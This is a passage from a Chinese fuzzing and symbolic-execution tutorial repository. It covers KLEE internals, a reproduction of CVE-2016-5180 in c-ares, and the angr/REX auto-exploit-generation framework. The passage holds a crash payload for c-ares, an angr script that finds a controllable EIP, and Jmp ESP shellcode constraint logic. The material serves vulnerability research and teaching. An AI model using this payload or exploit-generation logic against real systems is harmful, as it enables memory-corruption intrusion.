01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==29638==ABORTING\nAbort trap: 6\n\n```\n\n\n## 进一步理解KLEE 执行过程\n\n  KLEE 框架的整体原理是通过一个状态上下文(状态上下文对象维护栈堆,函数调用和符号对象等重要信息)和解析器.本节着重于深入解析器的实现原理.\n\n  KLEE 的解析器代码位于`/lib/Core/Executor.cpp!Executor::executeInstruction()` 函数里,该函数主要是模拟操作LLVM IR 指令的操作并根据相关的操作变成符号对象并保存到内存对象中:\n\n```c++\n\n // ... 省略无关代码\n\n  case Instruction::Add: {\n    ref<Expr> left = eval(ki, 0, state).value;  //  获取该值,因为这个值可能是数字或者是一个符号\n    ref<Expr> right = eval(ki, 1, state).value;\n    bindLocal(ki, state, AddExpr::create(left, right));  //  AddExpr::create() 的意思是创建一个Add 符号对象\n    break;\n  }\n\n  case Instruction::Sub: {\n    ref<Expr> left = eval(ki, 0, state).value;\n    ref<Expr> right = eval(ki, 1, state).value;\n    bindLocal(ki, state, SubExpr::create(left, right));\n    break;\n  }\n \n  case Instruction::Mul: {\n    ref<Expr> left = eval(ki, 0, state).value;\n    ref<Expr> right = eval(ki, 1, state).value;\n    bindLocal(ki, state, MulExpr::create(left, right));\n    break;\n  }\n\n  case Instruction::UDiv: {\n    ref<Expr> left = eval(ki, 0, state).value;\n    ref<Expr> right = eval(ki, 1, state).value;\n    ref<Expr> result = UDivExpr::create(left, right);\n    bindLocal(ki, state, result);\n    break;\n  }\n\n // ... 省略无关代码\n\n```\n\n  理解了KLEE 的模拟执行原理,请思考一下:**如果程序调用到了系统函数,那应该怎么办呢,我们的符号化过程不就会在这里缺失了记录吗**.答案是肯定的,所以KLEE 使用uclibc (https://github.com/klee/klee-uclibc )来导入libc 的函数,**因为系统中的libc 库是已经编译好的,不能作为LLVM IR 传递给KLEE 继续符号化,于是我们应该通过libc 库的源码去编译出一个LLVM IR 的代码库,这样才能够让KLEE 执行**.\n\n  细心的读者一定会注意到,笔者在前面的KLEE 命令中额外添加了一个参数`-libc=klee` ,它的意义在于使用klee 自带的libc 库引入到执行环境中.KLEE 中自带的libc 库函数并不多,所以在执行更大的程序中还是需要依赖uclibc ,建议在Ubuntu 下编译uclibc ,然后再使用`klee -libc=uclibc`引入它.\n\n\n## 如何在实际中应用KLEE\n\n  前面介绍到KLEE 的基本命令和基本原理,那么我们就需要在实地中应用它来做一些漏洞挖掘的工作.很遗憾的是,KLEE 并不能在任何项目都能够完全使用,这是因为LLVM 的历史遗留问题(参考笔者提的issus : https://github.com/klee/klee/issues/1091 ),简单地说是因为KLEE 需要对一些内置函数进行重写成LLVM 代码,但是LLVM 在编译时大部分的内置函数时链接GCC 的内置函数库,导致了KLEE 不能对这些内置函数进行等价的LLVM IR 转换(目前KLEE 和LLVM 有做一部分内置函数处理,但是因为内置函数太多所以没有完全支持,当跑一些图像处理库时会调用一些矩阵操作的函数,KLEE 和LLVM 都不支持这些函数),这是我碰到的一个例子和分析:\n\n![](pic9/pic1.png)\n\n  除开这个比较大的坑之外,跑一些相对较小的程序(比如协议处理,反序列化数据这种)KLEE 的威力还是很不错的,接下来我们复现CVE-2016-5180(https://c-ares.haxx.se/adv_20160929.html )\n\n  对于这种工程化的项目,一般我们都是使用./configure cmake 等来生成makefile 然后编译的,如果我们直接在CFLAGS/CXXFLAGS 里面插入`-emit-llvm -c` 会遇到一个很常见的问题,那就是在编译的时候出错.\n\n  案例一:\n\n![](pic9/pic2.png)\n\n  案例二:\n\n![](pic9/pic3.png)\n\n  因为应对这个问题,笔者写了一个工具,使用的就是AFL 的原理,在最后构造编译命令的时候插入`-emit-llvm -c` 参数,并在在链接时生成bca 文件(LLVM IR 静态代码库),代码地址在: https://github.com/lcatro/klee-fl ,执行脚本`sh ./build_kleefl.sh`.\n\n  省去klee-fl 的编译过程,我们以klee-fl 里面的c-ares 为例子,首先使用./buildconf 来生成./configure 文件.\n\n```shell\n\nMacBook-Pro-2:save_code root$ ./buildconf \n\n```\n\n  在./configure 阶段时,我们就需要指定CC 为klee-clang 让我们自定义的编译器插入编译参数.\n\n```shell\n\nMacBook-Pro-2:code_file root$ ./configure CC=klee-clang\nMacBook-Pro-2:code_file root$ make\n\n```\n\n  klee-fl 应用了libFuzzer 的思想,给定一个入口KleeFuzzingEntry (在libFuzzer 里为LLVMFuzzerTestOneInput ),构造代码如下:\n\n```c\n\n#include <ares.h>\n#include <nameser.h>\n\n\nint KleeFuzzingEntry(int argc,char** argv) {\n  unsigned char *output_buffer;\n  int output_buflen;\n  unsigned char input_buffer[64] = {0};\n\n  klee_make_symbolic(&input_buffer, sizeof(input_buffer), \"input_buffer\");  //  把input_buffer 作为输入求解\n\n  ares_create_query(input_buffer, ns_c_in, ns_t_a, 0x1234, 0, &output_buffer, &output_buflen, 0);\n\n  return 0;\n}\n\n```\n\n  然后编译Klee-Fuzzer ,编译命令如下:\n\n```shell\n\nMacBook-Pro-2:c-ares root$ klee-build ./klee_fuzzer.c .\n\n```\n\n  最后一步就是使用`sh run_fuzz.sh` 执行编译出来的Klee-Fuzzer ,效果如下:\n\n![](pic9/pic4.png)\n\n  可以看到KLEE 提示`out of bound pointer` 找到一处越界.接下来使用ktest-tool 查看Payload :\n\n![](pic9/pic5.png)\n\n  最后,我们来复现Payload 是否有效,代码如下:\n\n```c\n\n#include <ares.h>\n#include <nameser.h>\n\n#define PAYLOAD \"\\\\.\\x00\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"\n\nint main(int argc,char** argv) {\n        unsigned char* output_buffer;\n        int output_buflen;\n\n        ares_create_query(PAYLOAD, ns_c_in, ns_t_a, 0x1234, 0, &output_buffer, &output_buflen, 0);\n\n        return 0;\n}\n\n```\n\n  启用ASAN 编译:\n\n```shell\n\nMacBook-Pro-2:c-ares root$ make CFLAGS=\"-fsanitize=address\"\nMacBook-Pro-2:c-ares root$ clang -fsanitize=address valid.c libcares_la-*.o  -o valid\n\n```\n\n  验证结果如下:\n\n![](pic9/pic6.png)\n\n\n## Whole-program-llvm \n\n\n\n"
  },
  {
    "path": "P4 REX 框架与Auto Exploit Generation 符号执行原理.md",
    "content": "## 一  什么是Auto Exploit Generation\n\n  Auto Exploit Generation (AEG)意为自动化利用代码生成,通常我们把得到的崩溃样本经过一系列的分析,根据崩溃点和执行环境上下文来推算该异常能否被利用和生成对应的利用代码(不是metasploit 里面的那种根据一个脚本和选择某种Shellcode 合并生成EXP 的方式).笔者把从Fuzzing 到Exploit 自动化的完整过程简述图解如下:\n\n![img](picp4/1.png)\n\n  整体步骤描述如下:\n\n  1.我们通过Fuzzing 发现Crash 样本(漏洞挖掘过程)\n\n  2.根据判断该样本触发的漏洞类型来判断是否能够执行代码(检测崩溃能否被利用)\n\n  3.根据该漏洞类型对应的漏洞利用方式来计算是否有满足条件的解(利用求解过程)\n\n  4.根据漏洞类型和满足求解条件的漏洞利用方法生成Exploit 代码\n\n  在这四步骤中AEG 存在于第2-4 步,下面通过著名的AEG 实现库REX ([shellphish/rex](https://github.com/shellphish/rex/tree/master/rex/exploit/techniques))来一一分解AEG 的实现原理.\n\n\n\n## 二  混合符号执行(Concolic Symbolic Execution)\n\n  我们知道,符号执行不断模拟程序执行从而生成符号化的表达式,在我们需要进行约束求解的时候把这些符号化的表达式取出来进行求解.举个例子,在进行无输入的符号执行中,我们在执行到分支判断指令(TEST ,CMP 指令)时,取出指令两个操作数Op1 Op2 ,然后构建两组约束条件,分别为:1.condition;2.!(condition),示例汇编如下:\n\n```\nTEST EBX,ECX\nJZ xxx\n```\n\n  那么对应的两组约束条件如下:\n\n```\n1.  EBX == ECX\n2.!(EBX == ECX)\n```\n\n  在传统的符号执行中,到这一步我们是获取EBX 和ECX 中储存的符号表达式来构建约束条件\n\n```\nMOV EBX,0x65\nXOR EBX,0x38\nMOV ECX,Byte ptr [EBP - 0xC] ; 注意:假设EBP - 0xC 是可控的局部变量,大小为1字节\nTEST EBX,ECX\nJZ xxx\n```\n\n  我们把上述的示例代码符号化如下:\n\n```\n初始化全部内容为-1\nEAX=-1 EBX=-1 ECX=-1 EBP=-1\n----\nMOV EBX,0x65\nEAX=-1 EBX=0x65 ECX=-1 EBP=-1\n----\nXOR EBX,0x38\nEAX=-1 EBX=xor(0x65,0x38) ECX=-1 EBP=-1\n----\nMOV ECX,Byte ptr [EBP - 0xC]\nEAX=-1 EBX=xor(0x65,0x38) ECX=[EBP - 0xC] EBP=-1\n----\nTEST EBX,ECX\nEAX=-1 EBX=xor(0x65,0x38) ECX=[EBP - 0xC] EBP=-1\n```\n\n  最后组装表达式\n\n```\nCondition Express:EBX == ECX\nCondition Express:xor(0x65,0x38) == [EBP - 0xC]\n```\n\n  因为前面假定[EBP - 0xC] 为用户可控的内容,那么我们能够使用z3 求解它的值,代码如下:\n\n```\nimport z3\n\nuser_control_value = z3.Int('user_control_value')\nsolver = z3.Solver()\n\nsolver.add(0x65 ^ 0x38 == user_control_value)\nsolver.check()\n\nprint(solver.model())  #  输出结果值为:[user_control_value = 93]\n```\n\n  以上就是符号执行的基本原理.混合符号执行的原理与传统符号执行不同的一点在于,它可以允许用户使用指定的数据传递入应用程序中执行,那么就不需要对于一些上下文不明确的内容进行猜测,而是直接使用已知的数据来构造约束条件和执行分支.对于前面的示例,我们假设用户输入了字符'Z',那么执行到TEST 汇编时构建的约束内容如下:\n\n```\nTEST EBX,ECX\nEAX=-1 EBX=xor(0x65,0x38) ECX=0x5A EBP=-1\n\nCondition Express:EBX == ECX\nCondition Express:xor(0x65,0x38) == 0x5A => 0x5D == 0x5A => False\n```\n\n\n\n## 三  REX 加载程序和样本的过程\n\n  了解这些符号执行的原理之后,接下来就深入研究REX 框架的原理.REX 需要用户使用指定的程序和崩溃样本来进行分析,它实际上是使用了Angr 框架把样本加载进去执行程序一直运行直到崩溃,然后在崩溃点处分析相关信息,判断该崩溃是否为漏洞.REX 的加载代码如下:\n\n```python\nclass Crash :\n\n    def __init__(self, target ,...) :\n        ....\n\n        #  初始化Angr 对象\n        dsb = archr.arsenal.DataScoutBow(self.target)\n        self.angr_project_bow = archr.arsenal.angrProjectBow(self.target, dsb)\n\n        ...\n\n        if not traced:\n            # Begin tracing!\n            self._preconstraining_input_data = None\n            self._has_preconstrained = False\n            self._trace(pov_file=pov_file,  #  开始跟踪执行\n                        format_infos=format_infos,\n                        )\n        ...\n        self._triage_crash()  #  分析崩溃\n\n    def _trace(self, pov_file=None, format_infos=None):\n        ...\n\n        simgr = self.project.factory.simulation_manager(  #  获取状态上下文对象\n            self.initial_state,\n            save_unsat=False,\n            hierarchy=False,\n            save_unconstrained=r.crashed\n        )\n\n        simgr.run()  #  开始执行\n```\n\n  等待_trace() 函数执行完成之后,程序已经执行到了崩溃点,接下来REX 就是对崩溃点进行可利用分析\n\n\n\n## 四  检测漏洞可利用的方法\n\n  在二进制下检测漏洞是否是有效能被利用的方法,我们可以直接根据在程序崩溃时EIP/EBP 的值是否能可控来确认这个是否为有效的可被利用的漏洞.REX 这么做检测是有原因的,先来阅读这个示例:\n\n```assembly\n.text:4D525869 read_input      proc near               ; CODE XREF: main+28↓p\n.text:4D525869\n.text:4D525869 input_buffer    = byte ptr -2Bh   ;  input_buffer 大小为0x2B\n.text:4D525869\n.text:4D525869 ; __unwind {\n.text:4D525869                 push    ebp\n.text:4D52586A                 mov     ebp, esp\n.text:4D52586C                 sub     esp, 38h  ;  栈空间在这里分配\n.text:4D52586F                 sub     esp, 8\n.text:4D525872                 lea     eax, [ebp+input_buffer]  \n.text:4D525875                 push    eax\n.text:4D525876                 push    offset format   ; \"%s\"\n.text:4D52587B                 call    ___isoc99_scanf ; 注意scanf() 的输入长度是没有限制的\n.text:4D525880                 add     esp, 10h\n.text:4D525883                 nop\n.text:4D525884                 leave\n.text:4D525885                 retn\n```\n\n  示例代码中演示的是一个栈溢出的例子.scanf() 函数是输入点,输入的长度没有限制,但是这个函数的栈大小为0x40 ,那么当程序执行到RETN 指令时,会有两种情况:1.如果栈溢出没有产生,那么RETN 就是跳转到一个已知的程序地址;2.如果栈溢出产生,那么RETN 就是跳转到一个可控的地址,Angr 会把这条路径标记为unconstrained 状态(关于Angr 的路径状态意义请参考链接[angr学习(二) - fancy鑫 - 博客园](https://www.cnblogs.com/fancystar/p/7863192.html)的结尾部分).Angr 库在执行的过程中会自行分析路径的状态,部分实现代码如下:\n\n```python\n    def add_successor(self, state, target, guard, jumpkind, add_guard=True, exit_stmt_idx=None, exit_ins_addr=None,\n                      source=None):\n        #  ..\n        state.scratch.target = state._inspect_getattr(\"exit_target\", target)\n        #  ..\n\n    def _categorize_successor(self, state):\n        self.all_successors.append(state)\n        target = state.scratch.target  #  接下来要跳转的地址\n\n        #  ..\n        if o.LAZY_SOLVES not in state.options and not state.satisfiable():\n            self.unsat_successors.append(state)  #  无法求解的路径\n        elif o.NO_SYMBOLIC_JUMP_RESOLUTION in state.options and state.solver.symbolic(target):\n            # 如果target 要跳转到一个不确定的地址时\n            self.unconstrained_successors.append(state)  #  可控的路径\n        elif not state.solver.symbolic(target) and not state.history.jumpkind.startswith(\"Ijk_Sys\"):\n            # 如果target 要跳转到一个确定的地址而且不是syscall 时\n            self.successors.append(state)\n            self.flat_successors.append(state)\n        #  ..\n```\n\n  了解Angr 库的相关原理后,我们要利用Angr 库来检测栈溢出的代码如下:\n\n```python\ndef main(argv):\n  path_to_binary = argv[1]\n  project = angr.Project(path_to_binary)  #  初始化Angr 分析对象\n  initial_state = project.factory.entry_state()  #  获取一个新的状态上下文\n  simulation = project.factory.simgr(  #  创建一个执行模拟器\n    initial_state,\n    save_unconstrained=True,\n    stashes={\n      'active' : [initial_state],\n      'unconstrained' : [],\n      'found' : [],\n      'not_needed' : []\n    }\n  )\n\n  class ReplacementScanf(angr.SimProcedure):  #  声明自定义scanf() 函数的实现\n    def run(self, format_string, input_buffer_address):\n      input_buffer = claripy.BVS('input_buffer', 64 * 8)  #  设置一个较大的input_buffer\n\n      for char in input_buffer.chop(bits=8):  #  为scanf() 的输入设置约束\n        self.state.add_constraints(char >= '0', char <= 'z')\n\n      self.state.memory.store(input_buffer_address, input_buffer, endness=project.arch.memory_endness)  #  保存到特定地址\n\n      self.state.globals['solution'] = input_buffer\n\n  scanf_symbol = '__isoc99_scanf'\n  project.hook_symbol(scanf_symbol, ReplacementScanf())  #  对scanf() 做Hook\n\n  while (simulation.active or simulation.unconstrained) and (not simulation.found):  #  一直执行程序直到遇到可控的EIP 路径\n    for unconstrained_state in simulation.unconstrained:\n      def should_move(s):\n        return s is unconstrained_state\n      \n      simulation.move('unconstrained', 'found', filter_func=should_move)  #  保存该路径\n\n    simulation.step()  #  继续执行\n\n  if simulation.found:  #  找到存在可控EIP 的路径\n    solution_state = simulation.found[0]\n\n    solution_state.add_constraints(solution_state.regs.eip == 0x4D525849)  #  判断EIP 地址是否能被可控到某个特定地址\n\n    solution = solution_state.se.eval(solution_state.globals['solution'],cast_to = bytes)  #  生成Payload\n\n    print(solution)  #  输出测试Payload\n```\n\n  理解了这个简单的分析程序之后,我们继续回来研究REX 的可利用漏洞检测原理.从前面的REX 源码分析中,我们看到Crash._init_() 函数最后执行到_triage_crash() 进行检测,详细的源码分析如下:\n\n```python\ndef _triage_crash(self):\n    ip = self.state.regs.ip  #  EIP 寄存器\n    bp = self.state.regs.bp  #  EBP 寄存器\n\n    if self.state.solver.symbolic(ip):  #  判断EIP 寄存器中是否保存着可控值\n        if self._symbolic_control(ip) >= self.state.arch.bits:  #  判断EIP 寄存器可控的大小\n            l.info(\"detected ip overwrite vulnerability\")\n            self.crash_types.append(Vulnerability.IP_OVERWRITE)  #  完全可控\n        else:\n            l.info(\"detected partial ip overwrite vulnerability\")\n            self.crash_types.append(Vulnerability.PARTIAL_IP_OVERWRITE)  #  部分可控\n\n        return\n\n    if self.state.solver.symbolic(bp):  #  判断EIP 寄存器中是否保存着可控值\n        # how much control of bp do we have\n        if self._symbolic_control(bp) >= self.state.arch.bits:\n            l.info(\"detected bp overwrite vulnerability\")\n            self.crash_types.append(Vulnerability.BP_OVERWRITE)\n        else:\n            l.info(\"detected partial bp overwrite vulnerability\")\n            self.crash_types.append(Vulnerability.PARTIAL_BP_OVERWRITE)\n\n        return\n\n    symbolic_actions = [ ]\n    if self._t is not None and self._t.last_state is not None:\n        recent_actions = reversed(self._t.last_state.history.recent_actions)\n        state = self._t.last_state\n        # TODO: this is a dead assignment! what was this supposed to be?\n    else:\n        recent_actions = reversed(self.state.history.actions)\n        state = self.state\n    for a in recent_actions:\n        if a.type == 'mem':\n            if self.state.solver.symbolic(a.addr.ast):\n                symbolic_actions.append(a)\n\n    for sym_action in symbolic_actions:\n        if sym_action.action == \"write\":  #  写操作\n            if self.state.solver.symbolic(sym_action.data):\n                l.info(\"detected write-what-where vulnerability\")\n                self.crash_types.append(Vulnerability.WRITE_WHAT_WHERE)  #  任意地址写任意内容\n            else:\n                l.info(\"detected write-x-where vulnerability\")\n                self.crash_types.append(Vulnerability.WRITE_X_WHERE)  #  任意地址写固定内容\n\n            self.violating_action = sym_action\n            break\n\n        if sym_action.action == \"read\":  #  读操作\n            # special vulnerability type, if this is detected we can explore the crash further\n            l.info(\"detected arbitrary-read vulnerability\")\n            self.crash_types.append(Vulnerability.ARBITRARY_READ)  #  任意地址读\n\n            self.violating_action = sym_action\n            break\n```\n\n  Crash._init_() 函数判断崩溃点的各种漏洞类型之后,那么接下来我们就是通过Crash.exploitable() 函数来检验崩溃点的漏洞是否能被利用.虽然程序崩溃的原因有很多种,但是只有部分类型的崩溃才可以被利用,REX 中关于二进制程序的崩溃分类如下:\n\n```python\nclass Vulnerability(object):\n    IP_OVERWRITE              = \"ip_overwrite\"\n    PARTIAL_IP_OVERWRITE      = \"partial_ip_overwrite\"\n    UNCONTROLLED_IP_OVERWRITE = \"uncontrolled_ip_overwrite\"\n    BP_OVERWRITE              = \"bp_overwrite\"\n    PARTIAL_BP_OVERWRITE      = \"partial_bp_overwrite\"\n    WRITE_WHAT_WHERE          = \"write_what_where\"\n    WRITE_X_WHERE             = \"write_x_where\"\n    UNCONTROLLED_WRITE        = \"uncontrolled_write\" # a write where the destination address is uncontrolled\n    ARBITRARY_READ            = \"arbitrary_read\"\n    NULL_DEREFERENCE          = \"null_dereference\"\n    ARBITRARY_TRANSMIT        = \"arbitrary_transmit\" # transmit where the buf argument is completely controlled\n    ARBITRARY_RECEIVE         = \"arbitrary_receive\" # receive where the buf argument is completel controlled\n```\n\n  Crash._init_() 执行完程序分析之后,保存崩溃类型信息,其实Crash.exploitable() 实际上就是通过对Crash._init_() 的分析结果进行判断,判断崩溃类型是否为:1.完全/部分EIP 控制;2.完全/部分EBP 控制;3.任意地址任意数据写和任意地址非任意数据写.Crash.exploitable() 代码如下:\n\n```python\ndef exploitable(self):\n    exploitables = [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE, Vulnerability.BP_OVERWRITE,\n            Vulnerability.PARTIAL_BP_OVERWRITE, Vulnerability.WRITE_WHAT_WHERE, Vulnerability.WRITE_X_WHERE]  #  能被利用的漏洞类型\n\n    return self.one_of(exploitables)  #  判断self.crash_types 是否是这些类型中的一种\n\ndef one_of(self, crash_types):\n    if not isinstance(crash_types, (list, tuple)):\n        crash_types = [crash_types]\n\n    return bool(len(set(self.crash_types).intersection(set(crash_types))))\n```\n\n  如果Crash.exploitable() 返回True ,那就意味着这是可以被利用的漏洞类型,接下来就是对漏洞利用的满足条件进行约束求解.\n\n\n\n## 五  根据不同类型的漏洞方法进行利用检测原理\n\n  要知道一个漏洞能否改写EIP 到指定内存成功利用ShellCode ,那么就需要满足几个条件:\n\n  1.能够控制EIP 执行地址到指定内存\n\n  2.指定内存能否容纳ShellCode \n\n  3.指定内存允许代码执行权限\n\n  条件一是整个环境中最重要的一环,而且要根据不同的漏洞利用方式来做出不同的约束求解处理.我们以经典的栈溢出来讨论这个问题,需要满足的条件包括:1.是否存在已知的ROP Gadget 和对应的位置在哪里,是否需要在Payload 中插入ROP Gadget ;2.EIP 的值能否被控制到Gadget 的位置;3.指定内存能否满足填写自定义ShellCode 的条件.我们详细分析REX 的CallJmpSPShellcode (栈溢出JSP ESP 利用方法)的求解原理:\n\n```python\ndef apply(self, **kwargs):\n    #  判断崩溃的漏洞类型不是完全/部分EIP 控制的话\n    if not self.crash.one_of([Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):\n        raise CannotExploit(\"[%s] cannot control ip\" % self.name)\n\n    #  如果栈内存没有执行权限就的话\n    if not self.crash.project.loader.main_object.execstack:\n        raise CannotExploit(\"[%s] stack is not executable\" % self.name)\n\n    #  获取不同平台的JMPSP 机器码\n    try:\n        jmpsp_stub = self.shellcode.get_shellcode('jmpsp')\n    except NoSuchShellcode as e:\n        raise CannotExploit(\"[%s] %s\" % (self.name, e))\n#  ...\n```\n\n  关于jmpsp_stub 的Gadget 代码,我们可以在rex/exploit/shellcodes/allarch_jmpsp.py 文件下找到,在此只展示X86 平台的Jmp ESP Gadget .\n\n```python\nclass X86JmpSP(Shellcode):\n    os = [\"cgc\", \"unix\"]\n    arches = [\"X86\"]\n    name = \"jmpsp\"\n    asm = \"jmp esp;\"\n    code = b\"\\xff\\xe4\"\n```\n\n  获取完JMP ESP Gadget 之后,CallJmpSPShellcode.apply() 函数接下来就判断Gadget 能否被写进内存中.\n\n```python\n#  apply() 函数\n    jmpsp_addr, jmpsp_constraint = self._write_global_data(jmpsp_stub)  #  判断JMP ESP Gadget 代码能否被写到内存中\n\n    if jmpsp_addr is None:  #  如果不能写JMP ESP Gadget\n        try:\n            jmpsp_addr, jmpsp_constraint = self._read_in_global_data(jmpsp_stub)  #  搜索有没有满足的Gadget ,构造ROP 利用链\n        except CannotExploit as e:\n            raise CannotExploit(\"[%s] cannot call read, %s\" % (self.name, e))\n        if jmpsp_addr is None:\n            raise CannotExploit(\"[%s] cannot write in 'jmp sp'\" % self.name)\n\n    #  添加约束\n    self.crash.state.add_constraints(jmpsp_constraint)  #  对约束进行求解\n```\n\n  _write_global_data() 函数主要是对能够被控制的内存进行约束求解,目的在于判断我们可以控制的内存中能否插入这个Gadget .\n\n```python\ndef _write_some_data(self, data, control):\n    #  遍历用户可控的内存列表\n    for base in control:\n        for addr in range(base, base+control[base] - len(data) + 1):  #  不断递归内存地址\n            constraint = self.crash.state.memory.load(addr, len(data)) == data  #  到这一步是为了判断内存的内容是否可控为指定的值\n\n            if self.crash.state.solver.satisfiable(extra_constraints=(constraint,)):  #  判断约束是否有解\n                data_str_addr = addr\n                data_str_constraint = constraint\n\n                return data_str_addr, data_str_constraint  #  如果对于constraint 这个解有满足的条件,那么就返回地址和这个约束条件\n\n    return None, None\n\ndef _write_global_data(self, data):\n    return self._write_some_data(data, self.crash.memory_control())  #  self.crash.memory_control() 指的是用户可控制的内存集合\n```\n\n  CallJmpSPShellcode.apply() 函数的最后一部分就是1.求解EIP 能否被可控到特定地址;2.ESP 中指定的内存能否写入ShellCode .其实就是划分成两个约束条件:\n\n  1.self.crash.state.ip == jmpsp_addr  (约束条件1:EIP 地址可控)\n\n  2.memory.load(self.crash.state.regs.sp,len(shellcode)//8) == BVV(self.shellcode.get_default())  (约束条件2:ShellCode 能否保存到RET_ADDR 后面的内存中)\n\n  回顾CallJmpSPShellcode.apply() 最后一部分的代码,整体思路也就清晰明了了.\n\n```python\n#  apply() 函数\n    # add the constraint that the ip must point at the 'jmp sp' stub\n    self.crash.state.add_constraints(self.crash.state.ip == jmpsp_addr)\n\n    # add the constraint that our shellcode must exist at sp\n    shellcode = self.crash.state.solver.BVV(self.shellcode.get_default())\n    stack_mem = self.crash.state.memory.load(self.crash.state.regs.sp, len(shellcode) // 8)\n    self.crash.state.add_constraints(stack_mem == shellcode)\n\n    if not self.crash.state.satisfiable():  #  对约束进行是否可以满足进行求解\n        raise CannotExploit(\"[%s] generated exploit is not satisfiable\" % self.name)\n\n    return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)  #  生成Exploit ..\n```\n\n\n\n## 六  总结\n\n  在AEG 的范畴中,最重要的一点是要找到能够把漏洞原理和利用方式转化为数学上可以验证的方法.我们回顾CallJmpSPShellcode.apple() 的实现,检测栈溢出的漏洞最后归根结底是对EIP 和指定内存进行约束求解的过程.如果有满足这些条件的解,那么我们能肯定这个漏洞的利用方法.我们总结一下栈溢出Jmp ESP 的利用方法,整体的约束条件如下:\n\n![img](picp4/2.png)\n\n  行文仓促,应有疏漏,如有不足,恳请指出."
  },
  {
    "path": "readme.md",
    "content": "\n## How to Read Source and Fuzzing\n\n  1-4 章主要是一些阅读源码和Fuzzing 编写经验,章节里面结合了大量真实的例子,包括阅读源码和Fuzzer 编写的例子\n\n  5-6 章主要介绍程序分析的原理\n\n  8-10 章更进一步深入符号执行的工具\n\n  附录1 主要介绍使用工具进行Fuzzing\n\n  附录2 主要介绍从零开始如何编写Fuzzer\n\n  附录3 主要介绍从零开始编写一个符号执行工具\n\n  [1.Github](1.Github.md)\n\n  [2.Fuzzing 模糊测试之数据输入](2.Fuzzing%20%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E4%B9%8B%E6%95%B0%E6%8D%AE%E8%BE%93%E5%85%A5.md)\n\n  [3.Fuzzing 模糊测试之异常检测](3.Fuzzing%20%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E4%B9%8B%E5%BC%82%E5%B8%B8%E6%A3%80%E6%B5%8B.md)\n\n  [4.阅读源码](4.%E9%98%85%E8%AF%BB%E6%BA%90%E7%A0%81.md)\n\n  [5.程序编译原理](5.%E7%A8%8B%E5%BA%8F%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86.md)\n\n  [6.静态程序分析原理](6.%E9%9D%99%E6%80%81%E7%A8%8B%E5%BA%8F%E5%88%86%E6%9E%90%E5%8E%9F%E7%90%86.md)\n\n  [7.动态程序分析原理](7.%E5%8A%A8%E6%80%81%E7%A8%8B%E5%BA%8F%E5%88%86%E6%9E%90%E5%8E%9F%E7%90%86.md)\n\n  [8.玩转LLVM](8.%E7%8E%A9%E8%BD%ACLLVM.md)\n\n  [9.KLEE符号执行框架](9.KLEE%E7%AC%A6%E5%8F%B7%E6%89%A7%E8%A1%8C%E6%A1%86%E6%9E%B6.md)\n\n  10.Driller:Fuzzing 和符号执行的结合  --  正在更新\n\n  [12.深入解析libfuzzer与asan.md](12.%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90libfuzzer%E4%B8%8Easan.md)\n\n  13.逻辑漏洞自动化实践,检验逻辑漏洞主要思路是判断状态是否在预期之内(对于不同类型的漏洞来说,都属于有限状态机),比如越权漏洞,用cookie控制请求状态与机器学习算法识别页面的输出是否有敏感数据(非敏感数据不认为是有效的信息泄漏).\n\n  -- 附录 --\n\n  [P1.Fuzzing ImageMagick](https://github.com/lcatro/Fuzzing-ImageMagick/blob/master/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8Fuzzing%E6%8C%96%E6%8E%98ImageMagick%E7%9A%84%E6%BC%8F%E6%B4%9E.md)\n\n  P2.WASM Fuzzer 编写实例  --  正在更新\n\n  [P3.符号执行与智能合约审计 for KCON & TenSec](P3%20Ethereum%20智能合约自动化审计议题投稿.pptx)\n\n  [P4.REX 框架与Auto Exploit Generation 符号执行原理](P4%20REX%20框架与Auto%20Exploit%20Generation%20符号执行原理.md)\n\n  P5.脑图挖洞案例,快速且低成本地从零开始弄懂框架与漏洞在框架中的表现形式\n\n  脑图预览:\n\n  Think代码分析.emmx (使用MindMaster打开,值得一读)\n\n![](./picp5/P5.Pic1.png)\n\n  hyper-v vmswitch debug.emmx (使用MindMaster打开,值得一读)\n\n![](./picp5/P5_Vmswitch.png)\n\n  -- 快速上手挖洞思路概述 --\n\n![](./漏洞挖掘思路.png)\n\n\n----\n\n  End\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/Makefile",
    "content": "\nCLANG = clang-sp\nCLANGPP = clang++\n\nobj-m += kvm_hypercall.o\n\nall:\n\t${CLANG}  -g -fsanitize-coverage=trace-pc-guard sanitize_converage.c -c -fPIE\n\t${CLANG}  -g example1.c sanitize_converage.o -fsanitize-coverage=trace-pc-guard -o example1\n\t${CLANG}  -g example2.c sanitize_converage.o -fsanitize-coverage=trace-pc-guard -o example2\n\t${CLANG}  -g example3.c sanitize_converage.o -fsanitize-coverage=trace-pc-guard -o example3\n\t${CLANG}  -g example4.c sanitize_converage.o -fsanitize-coverage=trace-pc-guard -o example4\n\t${CLANG}  -g example5.c sanitize_converage.o -fsanitize-coverage=trace-pc-guard -o example5\n\t${CLANG}  -g example6.c sanitize_converage.o -fsanitize-coverage=trace-pc-guard -o example6\n\nclean:\n\trm -rf sanitize_converage.o\n\trm -rf example1\n\trm -rf example2\n\trm -rf example3\n\trm -rf example4\n\trm -rf 